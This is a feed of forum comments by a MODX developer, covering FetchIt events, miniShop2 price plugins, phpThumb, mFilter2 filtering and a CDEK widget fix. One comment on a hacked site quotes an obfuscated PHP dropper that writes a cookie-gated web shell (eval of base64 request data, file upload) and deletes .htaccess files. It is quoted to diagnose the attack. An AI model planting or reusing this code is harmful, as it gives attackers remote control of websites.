Наумов Алексей

Наумов Алексей

С нами с 31 марта 2013; Место в рейтинге пользователей: #13
Наумов Алексей
15 апреля 2024, 16:20
0
Да, в свои js скрипты добавить данный код, внутри функции разместить код от яндекс.метрики. Ну а для отслеживания конкретной формы нужно выяснить, к примеру, её id, который должен присутствовать где-то в response. Я предпочитаю к форме добавлять data атрибут, наподобие:
<form data-goal="feedback">
Наумов Алексей
15 апреля 2024, 15:34
+1
Пожалуй отвечу:
добавить обработчик на событие «fetchit:success»
docs.modx.pro/components/fetchit/frontend/events

document.addEventListener('fetchit:success', (e) => {
    const { response } = e.detail;

    // Посмотреть данные response
    // console.log(response);
})
Наумов Алексей
14 апреля 2024, 00:04
+2
Как бы я поступил:

создал компонент (на базе modExtra), чтобы быстро, где будет по сути 1 объект Услуга (header, alias, description, seo_title/seo_description, а также полем parent_id для вложенности).
Свой интерфейс для управления ими будет поудобнее, чем MIGX. Чуть подумать, чтобы интерфейс выглядел симпатично и понятно (больше всего вопросов по отображению услуга/подуслуга).

Да, можно конечно поставить fastRoute или VirtualPages, но т.к. уровень вложенности не большой, то в целом все решается не самым сложным плагином на OnPageNotFound.
Чуть сложнее, если нужно ряд услуг скрыть для определенных моделей авто…

Кстати, VirtualPages у меня трудится на одном проекте уже много лет стабильно:)
Наумов Алексей
07 апреля 2024, 19:27
0
Ну… попробую описать) у меня в проекте очень длинный код и он делает не много не то, что вам нужно, поэтому всю портянку сюда не вставить.

0. на фронте добавляем поле для выбора ширины или ввода его вручную

1. Создадим плагин на событие msopOnAfterGetCost
if ($modx->event->name == 'msopOnAfterGetCost') {
    $isGetModificationAction = (isset($_REQUEST['action']) && $_REQUEST['action'] == "modification/get");
    $isCartAddAction = (isset($_REQUEST['ms2_action']) && $_REQUEST['ms2_action'] == "cart/add");
    
    // Обрабатываем только ajax запросы, в которых компонент msOptionsPrice2 отдает цену
    // Есть альтарнативный способ: проверять $_REQUEST['ms2_action'] !== cart/add
    if($isGetModificationAction || $isCartAddAction) {
    // здесь наш основной код
    // доступна переменная $modification
    // если пользователь выбрал определенную модификацию и у нее есть цена, то берем данные из нее
    if($modification['id']) {
    } else {
        // нет модификации, соответствующей переданным параметрам...
        // нужно высчитать цену, исходя из ширины вашего товара
        // ...
        // а вот тут мы вернем цену
        $modx->event->returnedValues['cost'] = ???;
    }
    
    
    }
}
2.
Наумов Алексей
04 апреля 2024, 17:05
1
+4
Временный фикс:

Cниппет ms_CDEK2

1. Одну строку комментируем, новую добавляем:
//$modx->regClientScript('https://www.cdek.ru/website/edostavka/template/js/widjet.js');
$modx->regClientScript('https://cdn.jsdelivr.net/gh/cdek-it/widget@2.5.5/widget/widjet.js');
2. Еще одну строку ниже комментируем, а новую добавляем:
//path: "https://www.cdek.ru/website/edostavka/template/scripts/",
path: "https://cdn.jsdelivr.net/gh/cdek-it/widget@2.5.5/widget/scripts/",
Наумов Алексей
03 апреля 2024, 23:39
0
Нужно отлаживать… добавьте debugger перед этим if, и нужно посмотреть что приходит в responseData? Есть там row? Есть в этом row id? Может различия в версиях miniShop2…
Наумов Алексей
27 марта 2024, 17:51
0
например, не так давно я работал с каким-то сайтом на хостинге, и хоть сайт был под php 7.4, но если я просто в консоли (из под ssh, или через веб-интерфейс хостинга) вызывал этот самый php, то запускался php 5.3.
Наумов Алексей
27 марта 2024, 17:33
+1
Есть ли какие-то ограничения со стороны хостинга для запуска composer из php?
Я к тому, что пакет это делает… но не будет ли на некоторых хостингах это запрещено?
Наумов Алексей
21 марта 2024, 11:07
+2
Привет! Молодец, как всегда)
mmxDatabase понравился! Прям чешутся руки применить и попробовать, осталось найти где. По нему небольшой вопрос, сторонние модели возможно добавлять в список поддерживаемых разработчику? Например для miniShop3 (когда-то в будущем)?

И вопрос по mmxForms, верно понял, что использование компонента на фронте выливается примерно в 1,5 мб дополнительного css и js? Много, конечно, если речь про формы типа «Перезвоните мне»
Наумов Алексей
21 марта 2024, 10:54
0
до сих пор придерживаются транспортных пакетов?
Устоявшаяся экосистема, привычные механизмы, куча реализованных пакетов (а переписать все это нужно много времени)? Типа работает — не трогай))
Наумов Алексей
19 марта 2024, 14:22
0
8 лет, 8 месяцев и 19 дней прошло с момента создания этой публикации =)
Наумов Алексей
12 марта 2024, 14:47
0
и в src и в dst что-то типа (только не помню MODX_BASE_PATH слеш содержит уже или нет).
$src = MODX_BASE_PATH . '/assets/images/image.jpg';
$dst = MODX_BASE_PATH . '/assets/images/image-new.jpg';
Наумов Алексей
12 марта 2024, 14:35
+1
как-то так:

// подключаем phpthumb
require_once MODX_CORE_PATH.'model/phpthumb/phpthumb.class.php';
// создаем объект phpThumb
$phpThumb = new phpThumb();
// задаем имя файла
$phpThumb->setSourceFilename($src);
// параметры
$phpThumb->setParameter('w', 100);
$phpThumb->setParameter('h', 150);
// генерируем файл
if ($phpThumb->GenerateThumbnail()){
  if ($phpThumb->RenderToFile($dst)) {
    // превью сохранено!
  }
}
Наумов Алексей
12 марта 2024, 14:00
0
большой вопрос — почему в почту попадает вот это а не содержимое чанка письма…
Наумов Алексей
12 марта 2024, 12:42
0
Хорошо бы отловить запросы на сервер и данные в них, которые приводят к такому поведению.

А так да, прям попыточка взломать всё.

К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого

$s = $_SERVER['DOCUMENT_ROOT'].'/assets/';$s1 = $s.'images/';mkdir($s1,511);$fh = fopen($s1.'accesson.php', 'w');fwrite($fh, '<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>');fclose($fh);unlink($s.'.htaccess');unlink($s1.'.htaccess');
беглый поиск по «accesson.php» показывает, что так ломали сайты на modx еще с версии 2,6,4, когда были уязвимости найдены…
Наумов Алексей
12 марта 2024, 12:36
0
Касательно второй строчки здесь
2. Цвет
— Красный
— Синий, Красный
— Синий
стоит посмотреть на параметр values_delimeter сниппета mFilter2. В нем по умолчанию запятая, и такая же запятая стоит в значении опции. Я в этом параметре обычно указываю точку с запятой.
Наумов Алексей
11 марта 2024, 23:09
0
Все правильно работает.
Допустим 2 товара:
1. Размер — XL, Цвет — Синий, Красный.
1. Размер — XL, Цвет — Синий.

Ты ставишь в фильтре размер XL — видим оба товара, т.к. они есть размера XL.
Добавляем галочку Синий — видим оба товара, т.к. они есть размера XL и синего цвета.
Ставим галочку Красный — видим оба товара, т.к. по логике компонента мы хотим увидеть товары, которые размера XL, а цвет нас интересует и синий и красный, т.е. любой из них (синий ИЛИ красный).

Если нужно в 3м случае видеть только товар 1 — то придется дописывать свою логику, mFilter2 так не может.
Но! тогда представь, что будет, если у тебя есть еще Товар 3 размера L. В этом случае, ты выбираешь себе джинсы, но знаешь, что на тебе хорошо сидит то L, то XL, смотря от бренда. Ставишь обе галочки — и что? Товаров будет 0, вряд ли ты этого ждал.
Наумов Алексей
11 марта 2024, 19:19
+1
Привет! Ну как-то сказать, чтобы intl-tel-input записывал номер телефона в скрытое поле user_contacts. Родное поле (которое в стандартной форме easyComm есть) убрать конечно же, чтобы не дублировалось.
Не забыть указать поле user_contacts в параметре allowedFields сниппета ecForm.
Наумов Алексей
09 марта 2024, 12:07
+1
Кто-то еще собирается, кроме Ильи? Я в раздумьях, в целом не очень далеко от Белграда нахожусь сейчас) но мое не очень знание английского останавливает.
Наумов Алексей
05 марта 2024, 13:00
0
Это не очень то наверное сложно, просто не совсем понятно, насколько это нужно… в следующем обновлении может быть